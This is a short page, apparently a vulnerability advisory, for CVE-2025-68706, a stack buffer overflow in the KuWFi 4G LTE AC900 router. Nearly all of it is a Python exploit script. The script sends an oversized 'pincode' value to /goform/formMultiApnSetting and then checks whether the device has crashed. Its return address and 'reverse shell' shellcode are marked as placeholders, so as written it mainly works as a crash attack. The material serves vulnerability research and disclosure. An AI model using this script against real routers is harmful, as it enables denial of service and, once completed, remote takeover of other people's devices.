CVE-2025-68706 KuWFi 4G LTE AC900 GoAhead栈缓冲区溢出漏洞

import requests # CVE-2025-68706 PoC - Stack-based Buffer Overflow in KuWFi 4G LTE AC900 # Target: /goform/formMultiApnSetting endpoint # Vulnerability: sprintf() without bounds checking on pincode parameter target_ip = "192.168.1.1" # Replace with actual KuWFi device IP target_url = f"http://{target_ip}/goform/formMultiApnSetting" # Generate payload with 132+ bytes to overflow the stack buffer # The buffer size is 132 bytes, we need to overflow it buffer_size = 132 padding = b'A' * buffer_size # Overwrite return address with NOP sled + shellcode address (example) # In real exploitation, need to calculate correct offset return_address = b'\x00\x12\x34\x56' # Example address, needs adjustment nop_sled = b'\x90' * 50 # Simple shellcode for demonstration (reverse shell) shellcode = b'\x90' * 20 # Placeholder shellcode payload = padding + return_address + nop_sled + shellcode # Construct the malicious request data = { 'pincode': payload.decode('latin-1'), # Send overflow payload 'other_param': 'value' # Other required parameters } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(target_url, data=data, timeout=5) print(f"[*] Response status: {response.status_code}") print(f"[*] Response text: {response.text[:200]}") # Check if server is still responsive check_url = f"http://{target_ip}/" try: check_response = requests.get(check_url, timeout=5) print("[*] Server still responsive - exploitation may have failed") except: print("[!] Server appears to be down - possible successful exploitation") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")